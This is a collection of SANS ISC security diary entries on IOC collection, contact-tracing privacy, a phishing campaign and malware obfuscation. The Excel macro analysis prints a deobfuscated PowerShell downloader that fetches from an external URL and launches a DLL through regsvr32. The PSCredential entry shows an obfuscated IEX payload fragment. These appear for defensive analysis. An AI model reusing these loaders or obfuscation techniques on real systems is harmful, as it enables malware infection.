Published: 2020-04-30

Collecting IOCs from IMAP Folder

I've plenty of subscriptions to "cyber security" mailing lists that generate a lot of traffic. Even if we try to get rid of emails, that's a fact: email remains a key communication channel. Some mailing lists posts contain interesting indicators of compromize. So, I searched for a nice way to extract them in an automated way (and to correlate them with other data). I did not find a solution ready to use that matched my requirements:

  • Connect to any mailbox (preferably via IMAP)
  • Produce data easy to process (JSON)
  • Be easy to deploy (Docker)

So, I built my own Docker image... It is based on the following components:

  • procmail
  • getmail
  • some Python libraries
  • The project es_mail_intel[1]

The last tool is an old project that achieves exactly why I expect: It extracts IOCs from emails and stores them in ElasticSearch. But, if you don't want ElasticSearch, it can also produce a JSON file! Parsing emails is a pain! So, I did not want to write my own parser.

Data are processed in this way: Emails are fetched via IMAP at regular intervals by getmail and pushed to procmail. It pushes them to the Python script that extracts interesting data.

IMAP data >> getmail >> procmail >> mail_parser2json_extract.py >> JSON data

Here is my Dockerfile:

FROM ubuntu:18.04
MAINTAINER Xavier Mertens <xavier@rootshell.be>
RUN apt-get update && \
    DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends -y \
        ca-certificates \
        getmail \
        procmail \
        git \
        python \
        python-ipaddress \
        python-pdfminer \
        python-elasticsearch \
        python-xlrd \
        && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*
RUN mkdir -p /root/.getmail
RUN git clone https://github.com/clverhack/es_email_intel.git /opt/es_email_intel
COPY getmail.conf /
RUN echo ":0" >>/procmailrc
RUN echo "|/opt/es_email_intel/mail_parser2json_extract.py 2 >>/log/ioc.json" >>/procmailrc
COPY run.sh /
RUN chmod u+x /run.sh
RUN touch /tmp/firstboot
CMD ["/run.sh"]

It needs a getmail.conf with the parameters of the mailbox you'd like to monitor:

type = SimpleIMAPSSLRetriever
server = CONF_SERVER
username = CONF_LOGIN
password = CONF_PASSWORD

type = MDA_external
path = /usr/bin/procmail
user = getmail
group = getmail
arguments = ('/procmailrc', )


getmail is a very powerful tool with plenty of options. Just have a look at the documentation[2] to find your best way to interact with your mailboxes. The script 'run.sh' will be executed by the container and, at first boot, configure your credentials:

if [ -r /tmp/firstboot ]; then
        sed -i "s|CONF_SERVER|$IMAP_SERVER|g" /getmail.conf
        sed -i "s|CONF_LOGIN|$IMAP_USER|g" /getmail.conf
        sed -i "s|CONF_PASSWORD|$IMAP_PASS|g" /getmail.conf

        groupadd getmail
        useradd -u $UID -g getmail -d /home/getmail getmail
        mkdir /home/getmail && chown getmail:getmail /home/getmail
        test -d /log || mkdir /log
        touch /log/getmail.log /log/ioc.json
        chown -R root:getmail /log
        chmod -R g+w /log
        rm /tmp/firstboot
while true
        /usr/bin/getmail -r /getmail.conf
        sleep $IMAP_WAIT

And, finally, my docker-compose.yml file:

version: '3'
        build: .
        image: "xme/iocollector"
        restart: always
        hostname: iocollector
        container_name: iocollector
            - /etc/localtime:/etc/localtime:ro
            - /data/iocollector/log:/log
            - UID=1000
            - IMAP_SERVER=<server_ip_or_fqdn>
            - IMAP_USER=<username>
            - IMAP_PASS=<password>
            - IMAP_WAIT=30
        network_mode: bridge

Start your docker and it will populate the mapped /log directory with an 'ioc.json' file:

    "bitcoin_wallet": [
    "ctime": "Thu Mar  5 17:54:23 2020",
    "domain": [
    "email": [
    "epoch": "1583427263",
    "filename": [
    "ipv4": [
    "md5": [],
    "message_text": "...",
    "mutex": [],
    "sha1": [],
    "sha256": [
    "ssdeep": [],
    "url": [

Note: The complete is email is parsed. You will find in the JSON file all SMTP headers, the email body, etc. Less relevant for IOC's but still interesting in some cases (by example, to analyze spam).

Here is a recap of the data flow:

[1] https://github.com/clverhack/es_email_intel.git
[2] http://pyropus.ca/software/getmail/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-04-29

Privacy Preserving Protocols to Trace Covid19 Exposure

In recent weeks, you probably heard a lot about the "Covid19 Tracing Apps" that Google, Apple, and others. These news reports usually mention the privacy aspects of such an app, but of course, don't cover the protocols in sufficient depth to address how the privacy challenges are being solved.

The essential function of such an application is to alert you if you recently came in contact with a Covid19 infected person. It is the goal of the application to alert users who are asymptomatic so they can get tested and self-isolate to prevent spreading the virus.

There are a few problems with this generic definition of the function of such an application:

  • What does "recent" mean: Usually this refers to 14 days, which is the time most reports suggest as the incubation time.
  • "contact" is usually defined as being within about 2 meters (6feet) of an infected individual. Some applications also require that the contact lasted longer than a few seconds.
  • The infected person may only realize that they are infected until they are tested, and they learn of the result. The data needs to be stored until that determination is made (again, for about 14 days).

But the application does not need to know where you are or where you have been. Geolocation is not required to fulfill this function.

A key privacy feature implemented by these applications is that the application broadcasts a random, rotating identifier. Some of the protocols send a new identifier with each "ping"; others rotate it after a given time (minutes). This ID rotation prevents the most obvious threat of tracking a user using a unique identifier (as it has been done with MAC addresses). One of the critical parameters of these protocols is how often the identifier rotates. Some protocols suggest rotating them with each ping. Others keep the same ID for minutes (or even a day, which is probably too long).

PACT Tracing Protocol Schematic (https://arxiv.org/pdf/2004.03544.pdf)

At the same time, the application receives "pings" sent by others and records them. Initially, there is no need to store these pings centrally. Only the receiving device stores the IDs it received.

Once a user is identified as positive, things become a bit interesting. They upload the IDs they recently sent (and in some protocols also the pings they received) to a database. Some standards are assuming a single central database. Others suggest a more decentralized data store. Instead of uploading each ID sent, some protocols suggest that the IDs are derived from a seed, and only the seed needs to be uploaded, significantly reducing the amount of data being sent and centrally stored.

In addition, malicious uploads need to be prevented. They could be used to overwhelm the data or to cause false positives. The authentication schemes vary between the protocols, but typically the infected user has to provide some form of authentication code from a healthcare provider. The user should be able to exclude some data from the upload (e.g., based on the time the event happened).

Your device downloads the entire database of reported IDs (or seed keys) to check if you have come into contact with an infected individual. This is a lot easier if only seeds are uploaded (one record for each infected person) instead of having to download all individual IDs sent by infected users (about 2000/user for two weeks if the ID changes every 10 minutes). The protocol proposed by Apple and Google suggests the use of "Temporary Exposure Keys" that rotate daily. These keys are used to derive a "Rolling Proximity Identifier" which is rotated every few minutes.

This protocol should solve most of the privacy issues that arise from such an application. It should not allow a third party to identify individuals, and users will not know who of their contacts was positive (unless they only had contact with one individual person).

To assist with the acceptance of the application, users will have control over when the application is active, and what data is uploaded to any data repository.

Of course, in the past, it has been shown that very large anonymized datasets can be used to track individuals. Probably the best protection, aside from robust cryptographic implementations, is the deletion of data as soon as it is no longer relevant for tracking SARS-Cov2 infections. The user interface of the application needs to be carefully designed to allow the user to make sensible choices as to what data to record and upload to the central database.

Ideally, the application would only share the sent IDs (or seeds to derive them) with the central database. But some applications found it useful to report IDs received, Bluetooth signal strength, and the phone model. Proximity tracing with Bluetooth is tricky. Different phone models use Bluetooth chipsets and antenna configurations with different sensitivity and signal strength. Just measuring the absolute signal strength received is a poor indicator of distance. The Apple/Google standard suggests including some encrypted metadata with each ping. The keys used to encrypt the metadata are derived from the same temporary exposure key as the IDs broadcast by the phone. The metadata can only be decrypted after the user uploaded these temporary exposure keys.

This is a classic example of how one has to weight privacy vs. the value of the information received. What makes this more complicated is that a less privacy-sensitive application may collect more valuable data, but may also find fewer volunteer users. The application is only useful if there are many users (some suggest at least 60% of the population needs to use the application). And of course, the application needs to be released "now" leaving little time for an extensive review period.

A quick summary of the proposed protocols:

Apple/Google Contact Tracing

DP3T (Decentralized Privacy-Preserving Proximity Tracing)

PEPP-PT (Pan European Privacy Preserving Proximity Tracing)

PACT (Privacy-Sensitive Protocols And Mechanisms for Mobile Contact Tracing)




Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2020-04-28

Agent Tesla delivered by the same phishing campaign for over a year

While going over malicious e-mails caught by our company gateway in March, I noticed that several of those, that carried ACE file attachments, appeared to be from the same sender. That would not be that unusual, but and after going through the historical logs, I found that e-mails from the same address with similar attachments were blocked by the gateway as early as March 2019.

The e-mails in question all appeared to come from the address diamond@tnt.com. The sender address was quite interesting in its own way, since, although the messages most certainly didn’t come from TNT, they didn't fail the SPF checks either. The reason for them not being stopped by the Sender Policy Framework checks was not a lack of an SPF record for the domain tnt.com, but the fact that the record in question was set incorrectly, in such a way that it allowed any server to send email for the domain tnt.com.

As you may see, the record ends in “?all” – this means that the record doesn’t specify whether any IP address, which is not listed, may or may not send messages for tnt.com[1]. I have informed TNT of both the problem with the SPF record (which they said they will fix soon) as well as the fact that their domain was misused in this was to send malicious messages.

I originally didn't plan to dig any deeper into it, however after our e-mail gateway caught another e-mail from diamond@tnt.com just yesterday, I decided to take a closer look at these messages and their attachments.

After a while of going through my e-mail quarantine backups, I managed to find 54 e-mails from the last 6 months that appeared to have originated from the same address, all of them with an ACE attachment. The messages were fairly similar to each other – most were variations on the theme of “tomorrow we will deliver your package please find the attached invoice”. You may see that there hasn’t been much of a change in them during the past 6 months from the following two examples – the first one is from August 2019 and the second one was "caught" just yesterday.

A quick search of the logs for diamond@tnt.com showed that from March 15, 2019, the e-mail gateway stopped 94 similar messages. In all these cases, the messages had an ACE attachment and all their subjects were variations on the same theme.

I didn't manage to get the earliest e-mails but I extracted the attachments of all the ones I had access to and after eliminating all of the duplicates I was left with 14 malicious executables (some of them with a fake SCR extension).

Since I didn't have much time to spend on analyzing the files, I upload several of them to Any.Run and to the Intezer Analyze platform and the results were pretty much always the same – the malicious files were droppers or injectors for Agent Tesla (you may find hashes for all of the executables below).

Since I don’t have access to the earliest attachments, I can’t be sure that the actors behind this campaign used it to spread only Agent Tesla for the entire time, however from the available data it seems to be the case. It appears that the same group has been using nearly the same e-mail template and exactly the same simple trick to bypass SPF checks for more than a year.

In my last diary[2], I mentioned that a group behind phishing campaign, that ran for over three months with minimal changes, seemed to go by the old adage “if it ain't broke don't fix it”. After looking at this campaign, it seems that that the first group definitely wasn't alone in adopting this philosophy.


Indicators of Compromise (IoCs)














































[1] https://isc.sans.edu/forums/diary/Phishing+email+spoofing+SPFenabled+domain/25426/
[2] https://isc.sans.edu/forums/diary/Look+at+the+same+phishing+campaign+3+months+apart/26018/

Jan Kopriva
Alef Nula


Published: 2020-04-27

Powershell Payload Stored in a PSCredential Object

An interesting obfuscation technique to store a malicious payload in a PowerShell script: In a PSCredential object!

The PSCredential[1] class can be used to manage credentials in a centralized way. Just have a look at this example.

First, let's encrypt our strong password:

PS C:\Users\REM> $password = ConvertTo-SecureString 'MyStr0ngP4ssw0rd' -AsPlainText -Force
PS C:\Users\REM> $password

Now, we can create the PSCredential object:

PS C:\Users\REM> $credential = New-Object System.Management.Automation.PSCredential ('admin', $password)
PS C:\Users\REM> $credential

UserName                     Password
--------                     --------
admin    System.Security.SecureString

To get the password in cleartext, just do this:

PS C:\Users\REM> $credential.GetNetworkCredential().Password

The sample that I found implements the same technique but, as you can expect now, the password is not a simple string but PowerShell code that can be processed via 'IEX'. Here is the sample of code:

( NEw-ObJECT manaGEMeNT.AUtomatiON.pScreDENtial  ' ', ( '
(...code removed...)
'|cOnVErtTo-seCUreSTriNG -KeY (1..32) )).getnETwoRKcrEDEnTiaL().PAsSWOrD | iex

I removed most of the data for more readability. The complete code is approximately 70KB.

You can see the presence of a call to ConvertTo-SecureString(). It's mandatory to convert the string into a secure string. Indeed, SecureStrings can't be printed as regular strings and must be converted. You can compare ConvertTo-SecureString to decoding a Base64 chunk of data.

Here is the content of the "password":

. ( $VERBOSePRefereNCe.toSTRiNG()[1,3]+'X'-join'')( [sTRInG]::join( '' ,([rEGEX]::mAtchEs( ") )63]RAHc[]GniRts[,)96]RAHc[+79]RAHc[+201]RAHc[(
x0,b8x0,46x'+'0,0cx'+'0,13x0,5ex0,98x0,06x0,0x0,0x0,0x0,28x0,8ex0,cfx0 = fubEaf ]][etyB[ = fubEaf '+']][etyB[{esle}5dx0,ffx0,65x0,2ax0,5bx0,0f
0,b8x0,84x0,56x0,2dx0,13'+'x0,84x'+'0,65x0,15x0,25x0,05x0,14x0,15x0,14x0,0x0,0x0,0x0,ccx0,8ex0,0fx0,4ex0,38x0,84x0,cfx0 = fub'+'Eaf ]][etyB[ =
 fubEaf ]][etyB[{)WsB46DMAWsB qe- '+']iWyERUTCETIHCRA_ROSSECORPiWy[selbairaVtnemnorivnE.ofnItratS.kcu'+'femosEaf( fi'(( )'x'+]31[DiLLeHs$+]1[D
iLleHs$ ( & " ,'.', 'R'+'ig'+'hTTOLe'+'FT')| foreAch{$_.vAlUE })) )

If you're interested in this technique, the file is available on VT (SHA256:ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302) with a score of 6/59[2].

Based on this, I added 'Management.Automation.PSCredential' and 'ConvertTo-SecureString' to the list of suspicious strings to track in PowerShell scripts!

[1] https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.pscredential?view=pscore-6.2.0
[2] https://www.virustotal.com/gui/file/ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-04-26

Video: Malformed .docm File

In diary entry "Obfuscated with a Simple 0x0A", Xavier discovers that a .docm file is a malformed ZIP file.

In the following video, I show how this file is malformed:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-04-25


When we publish diary entries covering malware, we almost always share the hash of the malware sample.

I prefer posting the MD5 hash because it is short, together with a link to the VirusTotal entry for said malware sample. VirusTotal reports different hashes, so that you can find your preferred hash. And if you have a VT subscription, you can also download the sample itself.

A new, free malware sharing service is available now: MALWARE Bazaar.

I will make sure that every public malware sample that I blog about from now on, will be available on MALWARE bazaar. Like this sample, for example, that I extracted from a malicious document I wrote recent diaries about.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-04-24

Malicious Excel With a Strong Obfuscation and Sandbox Evasion

For a few weeks, we see a bunch of Excel documents spread in the wild with Macro V4[1]. But VBA macros remain a classic way to drop the next stage of the attack on the victim’s computer. The attacker has many ways to fetch the next stage. He can download it from a compromised server or a public service like pastebin.com, dropbox.com, or any other service that allows sharing content. The problem is, in this case, that it generates more noise via new network flows and the attack depends on the reactivity of the other party to clean up the malicious content. If this happens, the macro won’t be able to fetch the data and the infection will fail. The other approach is to store the payload in the document metadata, the document itself or appended to it.

Metadata may contain suspicious data, here is a sample found this week that used specific fields on the Excel file:

The example that I will analyze today was found via a UPS phishing campaign. Here is a screenshot of the Excel sheet once opened:

I found several emails with the same kind of attachments named '_-<number>.xls'. My sample SHA256 is b4b3bb99bc136adeb142c49f81812f5222250b6e30bbf62e4837df28583aadf3 (unknown on VT at the this time) and it contains a classic VBA macro: 

remnux@remnux:/malwarezoo$ oledump.py _-870301049.xls | egrep ": [Mm]"
 18: M    3676 '_VBA_PROJECT_CUR/VBA/Sheet1'
 19: m     999 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'

Before analyzing the macro, it's interesting to spot the implementation of a simple sandbox evasion technique: When the document is opened, It is not executed automatically via the classic methods Workbook_Open() or Auto_Open()! The victim is asked to click on the “View and Pay your Invoices” (see the screenshot above).  The button has this value:


The technique used is a Layout event[2]. Let's have a look at the macro:

Attribute VB_Control = "google, 1, 0, MSForms, MultiPage"
Attribute VB_Control = "pay, 5, 1, MSForms, ToggleButton"


Sub toggle()
End Sub

Private Sub google_Layout(ByVal Index As Long)
End Sub

The user has to click on the button to run the macro!

The toogle() function contains the malicious code that extracts the next payload. Here, we have a good old technique that splits the content of the payload into multiple cells in the Excel sheet:

WScript.Quit (CreateObject("WScript.Shell").Run(undo(11000 + 956), 0, False))
Function undo(home As Integer)
    Dim tsi(): Dim Lo As Integer
    modul = echo(ActiveSheet.[E90:E106], "")
    For apo = 1 To Len(modul)
        ReDim Preserve tsi(apo)
        tsi(apo) = Mid(modul, apo, 1)
    tk = ""
    For Lo = 0 To home Step 4
        tk = tk + tsi(Lo)
    undo = tk
End Function

Cells E90 to E106 contains code (hidden with a white on white font). The content of interesting cells is concatenated but obfuscated: (here are only the first bytes)

11FWreeM eBiookcs a t P'lanpet reBoOok.CcomEManSn, sinq'uir ed  Mr." BuCmblAe, lgraLspi"ng  his  cacne,R toe keaep ttheE pa ris h o ffi"cerPs 
aO wawitiEng rat syouhr geardLen-lgat e,  whe-n twheyi conme  her0e u0pon0 po0roc0hia1l b usi-nesns wOithp thRe pOorofchiIal lor-epha ns?  Ar
-e yNou oawener,i Mrns. TManEn, RthaAt ycou TareI, a s I  ma-y seay,X a Epor ochbialy dePlegAateS, aSnd  a s tip.end iar(y?I m s$urep MrS. BH
umbOle,M thEat [I w2as 1onl]y a+ te$llipng soneH oro twMo oEf t[he 3dea4r c]hil+dre'n aXs i's s)o f(ond  of" yo\u, "tha&t i(t w(as VyouA a rc
omIinga, rbeplLiedE Mr s. 'Man*n wmithd grReat* hu'mil)ity..MrN. BAumbMle Ehad[ a 3gre"at \ide"a o f h is +ora[torSicaTl proweirs NandG hi]s 
i[mpoCrtaHnceA. HRe h]ad 4dis4pla+yed  th"e o\ne," an1d v1ind"ica\ted" th e o the+r. [He SrelTaxerd.WiellN, wGell], M[rs.C MaHnn,A heR re]pli
4ed 4in +a c alm"er \ton"e; 2it ]may- beJ asO yoIu snay;' it' ma)y b e. (Lea d tnhe ewayw in-, Mors.B Majnn,e focr IT co me  on ibusoine.ss,S
 antd hRaveE soametMhinrg teo sAay.DMrse. Mrann( us(her ed nthee bewadl-e iontoB a jsmaell cparTlou r w ithS a ybrisck tfloEor;M pl.aceid aO 
se.at CforO hiMm; PandR ofEficSiousslyi deOposNite.d hdis ecocFkedL haat aTnd ecans onT thRe tEablAe bmefo(re  him[. Mir. oBum.bleM wiEpedm f
room rhisY foSrehteadr thEe paersMpir]ati[on cwhiOch nhisV waelk RhadT en]gen:der:ed,f glrancOed McomBplaacenstlye at6 th4e csockTed rhatI, a
Nnd Gsmi(led'. Yfes,V hec smNilecd. 9BeapdleGs aEre Pbut0 mern: qands Mrb. BtumbSle QsmiUledU.Noww dEontm yoau bme ovffeGnde0d aAt wghatQ Imh
 a wgoiUng Ato Nsayx, okbsekrveJd M0rs.x MaNnn,w wiGth DcapVtivCatiUng CsweGetnwessH. YXouvre h/ad va lWong/ wavlk,E yoAu kinow3, o0r I/ woFu

Again, the attacker decided to not use a classic Base64 encoding that is way too easy to detect. Nothing relevant detected by base64dump:

remnux@remnux:/malwarezoo$ base64dump.py -n 50 _-870301049.xls
ID  Size    Encoded          Decoded          MD5 decoded                     
--  ----    -------          -------          -----------                     

The de-obfuscation is very simple: the very long string is processed in a loop and extract characters by step of 4. From the string above: 'W', 'M', 'i', 'c', ...

Let’s decode it in Python (the cells have been concatenated in a file):

>>> with open(‘cells.txt', 'r') as file:
...    data = file.read()
>>> payload=‘’
>>> for i in range(1, len(data), 4):
...    payload+=data[I]
>>> payload

The decoded payload starts with a big useless comment but here is the interesting part of the deobfuscated code:

WMic \'prOCESs\'  "CAlL"  cReatE   "POwErsheLl  -win 000001 -nOpROfIle  -NoninTERAcTI  -eXE byPASS  . ( $pSHOME[21]+$psHoME[34]+\'X\')
("\\"&((VArIabLE \'*mdR*\').NAME[3"\\"  +[STriNG][CHAR]44+ "\\"11"\\"  +[STriNG][CHAR]44+ "\\"2]-JOIn\'\') 
( new-oBjecT  io.StREaMreADer(( new-oBjecT  SystEM.iO.COMPRESsiON.deFLaTesTREAm( [io.MEmorYStrEaM][cOnVeRT]::frOMBase64sTrING(

Now, we have a Base64-encoded and compressed chunk of data after the frOMBase64sTrING(). Let's decode it:

 .("{1}{2}{0}"-f'm','se','T-itE') ("{0}{2}{1}" -f 'Va','lE:3uAp','riab')  ( [TypE]("{1}{2}{5}{3}{4}{0}" -f'mBlY','RE','fLEcTI','s','SE','On.A')  ); &("{2}{1}{0}"-f'M','TE','seT-i') ('varIABLE'+':'+'6p12') (  [tYPE]("{4}{2}{0}{1}{3}{6}{10}{9}{5}{11}{8}{7}" -F 'ECurIT','Y.pRInCi','ySteM.S','P','s','o','A','ItY','siDEnt','WInD','L.','W') ) ;   .('sV')  ('zp'+'2')  ( [tYPe]("{2}{4}{0}{3}{1}" -f '.enC','ng','T','odI','EXT')  ); .("{0}{1}" -f'sET-IT','em')  ('VAri'+'abLE:'+'pK'+'O')  (  [type]("{0}{1}{2}"-F'c','O','nVeRT') ); &("{0}{2}{1}" -f 'SEt','TEM','-I')  ('variAble:2Z'+'sT'+'u')  ([tYPE]("{0}{2}{1}" -F 'iO.FI','e','L') )  ;  .("{1}{2}{0}"-f'BlE','Set-v','aRiA')  ('qf'+'18'+'pc') ( [TYpe]("{0}{1}"-f'RE','Gex')  )  ;  ${G}=1;function iB(${I`H}){$(${i`h}.("{0}{1}" -f 's','ubstring').Invoke(${G}) -replace('-',''));return ${_}};${q`E}=(.("{0}{1}{2}" -f'Ge','t-Pro','cess') -Id ${P`Id})."M`AiNwi`NdO`wh`ANdLe";${ca}=[Runtime.InteropServices.HandleRef];${x`X}=.("{2}{0}{1}" -f'-Obj','ect','New') ${c`A}(${G},${q`E});${t}=&("{1}{0}{2}"-f '-Obj','New','ect') ${CA}(2,0);((  ${3u`Ap}::("{1}{3}{4}{0}{2}" -f'a','Loa','rtialName','dWit','hP').Invoke(("{1}{2}{0}{3}" -f'wsB','Wi','ndo','ase'))).("{2}{1}{0}"-f 'Type','t','Ge').Invoke(("{2}{4}{0}{5}{3}{1}"-f'.Uns','ethods','MS.Win','feNativeM','32','a')))::("{2}{3}{0}{1}"-f 'ndow','Pos','S','etWi').Invoke(${x`x},${t},0,0,100,100,16000+512);${I}=("{1}{2}{0}" -f 'demo','om ','/i');${i}=${i}.("{1}{0}" -f 'plit','s').Invoke(' ');${eE`Fd}=&('ib')(( (&("{1}{0}{3}{2}"-f'ET-c','G','teM','hIlDI')  ('vARiABLe'+':'+'6p12')  )."va`LUe"::("{2}{0}{1}"-f 'e','nt','GetCurr').Invoke())."u`sEr"."VAL`UE");${E}='ht'+("{0}{1}"-f 'tps',':/')+${I}[${G}]+'ten'+'.c'+(${I}[0,${G}] -replace '(\D{6})','/')+'?'+${E`Efd};.('Si') ("{2}{0}{1}" -f'riable:/','f','Va') ${E}.("{1}{0}{2}"-f 'pl','re','ace').Invoke(' ','');&('Sv') 1 ("{1}{0}{2}"-f'WebCl','Net.','ient');&('SI') ("{2}{1}{0}"-f 'C2','e:','Variabl') (.("{1}{2}{0}" -f 't','Ne','w-Objec') (.('Gv') 1 -Va));.('SV') ('c') ("{2}{0}{1}{3}" -f 'n','loadDa','Dow','ta');${o`Ad}=(([Char[]](.("{1}{2}{0}" -f'able','Va','ri') ('C2') -ValueOn).((&("{1}{0}"-f'riable','Va') ('c') -Val))."in`VOkE"((&("{2}{0}{1}"-f'iab','le','Var') ('f'))."vAL`Ue"))-Join'');${t`Fg}=${eN`V`:T`EmP};${M`I}=(${d}=&("{0}{1}"-f 'g','ci') ${T`Fg}|.("{2}{1}{0}" -f'm','et-rando','g'))."n`AME" -replace ".{4}$";${w}=${t`Fg}+'\'+${mi}+'.';${f`Gua}=${o`AD}.("{0}{2}{3}{1}"-f 'sub','ng','st','ri').Invoke(0,${G});${P}=[int]${F`GUa}*100;${a`AO} =${O`Ad}.("{2}{0}{1}"-f'm','ove','re').Invoke(0,${G});${pl}=${A`Ao} -split'!';.("{0}{1}" -f'sa','l') ('AI') ("{0}{1}{2}" -f'regs','vr','32');${I`kLO}= ( .("{0}{1}{2}"-f'G','ET-i','tem') ('vArIAb'+'LE:z'+'P2'))."va`LUe"::"Ut`F8";function r`EaDd(${a`BC}){${SA}= ${p`kO}::("{2}{0}{4}{3}{1}" -f'ro','ring','F','se64St','mBa').Invoke(${A`Bc});return ${SA}};foreach(${i`I} in ${p`l}[0]){${G}=@();${p`Pt}=${Fg`Ua}.("{1}{0}{2}" -f'arA','ToCh','rray').Invoke();${II}=&("{1}{0}" -f 'dd','Rea')(${i`i});for(${Jl}=0; ${j`L} -lt ${i`i}."c`OUNt"; ${j`L}++){${G} += [char]([Byte]${I`i}[${JL}] -bxor[Byte]${p`pT}[${j`L}%${p`pt}."C`OUnT"])}};${aa`xe}=${a`AO}."R`EPlacE"((${PL}[0]+"!"),${I`KLo}."Gets`T`RinG"(${g}));  ${2Z`sTU}::("{2}{3}{0}{1}"-f 'AllByt','es','Writ','e').Invoke(${w},(.("{1}{0}" -f 'd','Read')(${A`AXE} -replace ".{200}$")));if((.("{0}{1}" -f 'gc','i') ${W})."Le`NGtH" -lt ${P}){exit};.("{0}{1}" -f 'sl','eep') 10;&('AI') -s ${W};.("{0}{1}" -f 'sl','eep') 15; (  .("{1}{0}" -f 'teM','i') ('VaRiAbLE:2z'+'ST'+'u') )."va`lUE"::("{0}{1}{2}"-f'Writ','eA','llLines').Invoke(${W},  (  .("{2}{0}{1}"-f 'VAr','iaBle','GeT-') ('QF'+'18'+'pC'))."V`AlUE"::("{2}{1}{0}"-f'ce','pla','re').Invoke(${EE`Fd},'\D',''))

As you can see, it is pretty well obfuscated! The main technique used by the attacker is to use format strings with the '-f' operator. Example:


Will be decoded as:


Let's try to find something interesting in this code as a practical example. Is there an URL encoded somewhere? 

${I}=("{1}{2}{0}" -f 'demo','om ','/i')
${eE`Fd}=&('ib')(( (&("{1}{0}{3}{2}"-f'ET-c','G','teM','hIlDI')  ('vARiABLe'+':'+'6p12')  )."va`LUe"::("{2}{0}{1}"-f 'e','nt','GetCurr').Invoke())."u`sEr"."VAL`UE");
${E}='ht'+("{0}{1}"-f 'tps',':/')+${I}[${G}]+'ten'+'.c'+(${I}[0,${G}] -replace '(\D{6})','/')+'?'+${E`Efd};

And the variable '${E}' will contain 'hxxps://idemoten[.]com /?15211866265027187085091015791359731000'. But I was not able to fetch any valuable content from this URL...

Another trick used by the attacker: To hidden the window from the user. The position of the Window running the payload is set outside the screen resolution:

((  ${3u`Ap}::("{1}{3}{4}{0}{2}" -f'a','Loa','rtialName','dWit','hP').Invoke(("{1}{2}{0}{3}" -f'wsB','Wi','ndo','ase'))).("{2}{1}{0}"-f 'Type','t','Ge').Invoke(("{2}{4}{0}{5}{3}{1}"-f'.Uns','ethods','MS.Win','feNativeM','32','a')))::("{2}{3}{0}{1}"-f 'ndow','Pos','S','etWi').Invoke(${x`x},${t},0,0,100,100,16000+512);



As you can see, attackers have plenty of ideas to implement sandbox evasion tricks and obfuscation techniques...

[1] https://isc.sans.edu/forums/diary/Maldoc+Excel+40+Macros/24750
[2] https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/layout-event

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-04-21

SpectX: Log Parser for DFIR

I hope this finds you all safe, healthy, and sheltered to the best of your ability.
In February I received a DM via Twitter from Liisa at SpectX regarding my interest in checking out SpectX. Never one to shy away from a tool review offer, I accepted. SpectX, available in a free, community desktop version, is a log parser and query engine that enables you to investigate incidents via log files from multiple sources such as log servers, AWS, Azure, Google Storage, Hadoop, ELK and SQL-databases. Actions include:

  • Large-scale log review
  • Root cause analysis (RCA) during incidents
  • Historical log analysis
  • Virtual SQL joins across multiple sources of raw data
  • Ad hoc queries on data dumps

SpectX architecture differs from other log analyzers in that it queries raw data without indexing directly from storage. SpectX runs on Windows, Linux or OSX, in the cloud, or an offline on-prem server.

The Desktop (community) version is limited to four cores max, and 300 queries a day via the SpectX API. That said, this is more than enough juice to get a lot of work done. The team, in Tallinn, Estonia, including Liisa and Raido, has been deeply engaging and helpful offering lots of insight and use case examples that I’ll share here.
Installation is really straightforward. This is definitely a chance to RTFM as the documentation is extensive and effective. I’ll assume you’ve read through Getting Started and Input Data as I walk you through my example.
Important: You’ll definitely want to setup GeoIP, ASN, and MAC lookup capabilities. Don’t try to edit the conf file manually, use Configure from the SpectX management console to enter your MaxMind key.
While SpectX is by no means limited to security investigation scenarios, that is, of course, a core tenet of HolisticInfoSec, so we’ll focus accordingly.
SpectX is really effective at querying remote datastores, however, I worked specifically with local logs for the entirety of 2019 for holisticinfosec.io.
Wildcards are your friend. To query all twelve files in my Logs directory, it’s as easy as

| parse(pattern:"LD:line (EOL|EOF)")

Again, note the file protocol, you can call logs from so many sources, as referred to in Input Data. You can also create a local datastore that contains all the related log files, I do so as seen in Figure 1.


Figure 1: HolisticInfoSec Logs Datastore

You will assuredly want to familiarize yourself with pattern development, the Pattern Development Guide is there to help you. I built a simple pattern to parse my logs for 2019 as follows

IPV4:clientIp LD HTTPDATE:timestamp LD:text EOL;

and saved it as apacheLog.sxp in user/patterns/apache. You can save patterns and queries to the default SpectX home directory. On a Windows system the default path is pretty brutal, mine is C:\Users\rmcree\AppData\Local\SpectX\SpectXDesktop\data\user\rmcree. Save there, and files are readily available in the menu tree under user. Again, I chose to store all my patterns and queries in subdirectories of my C:\logs directory as called by the HolisticInfoSecLogs datastore referred to above, resulting in much file path ease of use with a simple datastore call.

I initially followed the first example provided in Analyzing Activity From Blocklisted IP addresses and TOR Exit Nodes, and received a couple of hits against my logs but wanted to experiment further. While this is a good example, and you should play with it to become accustomed with SpectX, the case study is dated as the US Cert Grizzly Steppe advisory and provided CSV data are circa 2016. IP addresses are a questionable indicator even in real-time, definitely not from three and a half years ago. As such I chose to call real-time data from Darklist.de, an IP blocklist that uses multiple sensors to identify network attacks and spam incidents. They provide a raw IP list for which I built a view as follows

// Parse simple pattern of Darklist.de raw IP format:
$srcp = <<<PATTERN_END

$hostPattern = <<<PATTERN_END
(IPV4:clientIpv4 | [! \n]+:host)

// function to handle any oddly formatted IP addresses, uses $hostPattern above
$getHost(iVal) = PARSE($hostPattern, REPLACE($iVal, '[.]', '.') );

// execute main query:
PARSE(pattern:$srcp, src:'https://darklist.de/raw.php')
| select($getHost(indicatorValue) as hostVal) 
| select(hostVal[clientIpv4] as ipv4)
| filter(ipv4 is not null) 

